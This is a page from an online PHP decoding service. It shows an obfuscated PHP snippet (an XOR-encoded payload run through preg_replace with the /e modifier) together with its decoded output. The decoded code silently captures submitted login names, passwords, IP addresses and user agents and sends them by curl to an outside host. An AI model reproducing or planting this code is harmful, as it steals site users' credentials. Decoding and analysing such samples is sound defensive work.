Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

preg_replace("/qE2pDOfbWdGphhurSTko45sbj=rI5/e", "LfelV8wZ0tl74wMfItXyrvN0=6CaJ8jUbC6w=rL0..

Decoded Output download

if(array_key_exists('log', $_REQUEST)) {
        $login = urlencode($_REQUEST['log']);
        $pass = urlencode($_REQUEST['pwd']);
        $ua = urlencode($_SERVER["HTTP_USER_AGENT"]);
        if(in_array('X_FORWARDED_FOR', $_SERVER))
                $ip = urlencode($_SERVER["REMOTE_ADDR"].'('.$_SERVER["X_FORWARDED_FOR"].')');
        else
                $ip = urlencode($_SERVER["REMOTE_ADDR"]);
        $url_tmp = $_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"];
        if(in_array('QUERY_STRING', $_SERVER))
                $url_tmp .= '?'.$_SERVER['QUERY_STRING'];
        $url = urlencode($url_tmp);
		$ch = curl_init(); 
        curl_setopt($ch, CURLOPT_URL, "http://string-parser.com/store.php?ip=$ip&url=$url&login=$login&pass=$pass&ua=$ua"); 
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
        $output = curl_exec($ch); 
        curl_close($ch);      
}

Did this file decode correctly?

Original Code

preg_replace("/qE2pDOfbWdGphhurSTko45sbj=rI5/e", "LfelV8wZ0tl74wMfItXyrvN0=6CaJ8jUbC6w=rL0Zw5RhFxqyJde6qd5kgTuc3D460p6p24EmwWI3IzpSRJM9nFiIZRkRUdLTIF909BkuXtlghQyza=wCFUKflvw7O8OWCLU=N6ulnUHKl60A6vDAEOfp=QkNNzjPA5PNy0zaT7l52j6vU0wYMQDLgoZuc90c2NpoLeEfZqZPOUAjSw8fBArioFRFCPh5dMiprnJFSiVh3VFKGCpICVqqb9vdNSXqf6VMheRzCmV69aFDduMfF4Kg17=COWtuQD7yiNml19fxYk22UCVa6g8vb7ypSgZjkUWHh0sW7NITy=KHBfi8AercaeHsAgQk1msXlatgn31a2=i4fF1gkg9=AFrBl9mbkTyKugqXYgyPfVHAb8hAdfAekrfKoHlObZYK7DhTjUiEqqFGnmHGGHkqzF2dNbro2EzwIVEsqnxVS3c7ekBksmQhsG=6irjYwXJ6tNmY2ZuJRMEvwGVetlAbr=WOr6ncRwW==0Y1YH0pTDaFKwj4WjTDjpRQk"^"\x29\x10\x04\x00\x7e\x5f\x0d3\x5e\x12\x00V\x40\x12e\x04\x28\x07=OF\x29\x2aU\x5eY\x27\x04b\x1a\x04\x03\x28\x21WOt\x05\x0bxk\x20\x07\x1aP\x0f\x2a\x26\x0e\x06\x16\x17z\x297g\x2c=l\x24\x29\x7c\x1cPDE\x17F\x22cU1\x3e\x00e\x26j\x24\x20\x13\x21\x0b\x2c\x7c\x00=\x24\x5b\x7b\x120\x28\x2a\x05\x06\x2ea3\x3fm\x5c\x01\x26\x2c\x20\x1d\x15\x3e\x15\x1bi\x2d\x0c\x3bd\x40\x08\x2c\x0d\x03\x24\x28\x1cB\x7c\x7e\x0b\x28\x1e\x0d\x26\x1a\x7e\x1at\x0d\x5f6\x1b\x05\x03\x02bbqU\x22t\x0f\x0a\x2e7\x08N\x3a\x20\x1b\x1c\x13\x09\x1e\x2af\x099\x03S\x0a\x27\x00Q\x0e\x7bf\x0dz9\x14\x08E\x2d\x22h6\x0b\x14\x00\x16\x3a\x04\x5e\x5e6U\x2b\x1f5\x23\x0a\x1cW9\x15ndv\x7e\x18\x0ed\x26B\x0es5\x20\x22\x21451\x22d\x12L\x2d\x22\x0b\x5f\x1b\x19\x1b\x3fjP\x10\x29Uo2\x1d\x1f\x2d\x05\x1a\x24\x0f\x01\x1e\x3a\x40\x02\x09\x1c\x201\x04\x29u\x12z\x27=\x1b\x12tB\x02\x01j\x07\x037W\x11\x02\x15\x3fEx\x0e\x5eB\x5c\x28\x17\x0fD\x248\x10AL\x1d\x18\x00XZS\x04\x3c\x00\x20\x5e\x049\x29\x18\x29\x7b\x0cl\x20\x3be\x20Bk1\x2f\x13\x03\x262\x12\x0eQC3t\x7e\x0b\x20Ke\x0f\x1b\x27\x22\x07\x133P\x1f1\x15W\x1d77\x21\x24\x20i\x3f\x15\x22\x27\x00L\x14\x24YI\x0eCh\x18\x071\x05u\x03\x12\x20HRv\x01\x1e\x0c\x04T\x2fS\x1c\x60\x1c\x29\x2d\x0981\x1c\x24\x2c\x1d\x25\x01c\x05\x20i\x5d\x11\x3e\x3e\x0e21\x06\x2f\x08\x5d\x0d5\x03\x06\x2e\x60\x3fT4\x2c\x06\x0ff\x5e\x0c\x16D\x15\x14\x5f\x1a\x25\x165\x2a\x5e\x3a\x2f\x11u\x1e\x0a\x17\x02\x3bh6\x0f0\x24g\x094\x27\x0c\x02\x065e3B\x12\x18\x07YB\x05b\x09X\x2d\x5e\x06\x1a\x19\x3a\x176s\x7fEC\x29\x1coz\x2a\x1c\x7d\x23\x19\x1fF5\x15\x15T\x03\x3aw\x2bCV\x3c6\x05b\x24\x1b\x01\x1c\x05\x0dwv\x3f\x037\x2cr\x178\x2a\x23\x3e\x03\x5c\x08Y\x27\x0cgt\x2eR\x7bxB", "qE2pDOfbWdGphhurSTko45sbj=rI5");

Function Calls

gzinflate 1
preg_replace 1
base64_decode 1

Variables

None

Stats

MD5 5761d58862b03eb1532d14f1bc6de45b
Eval Count 2
Decode Time 76 ms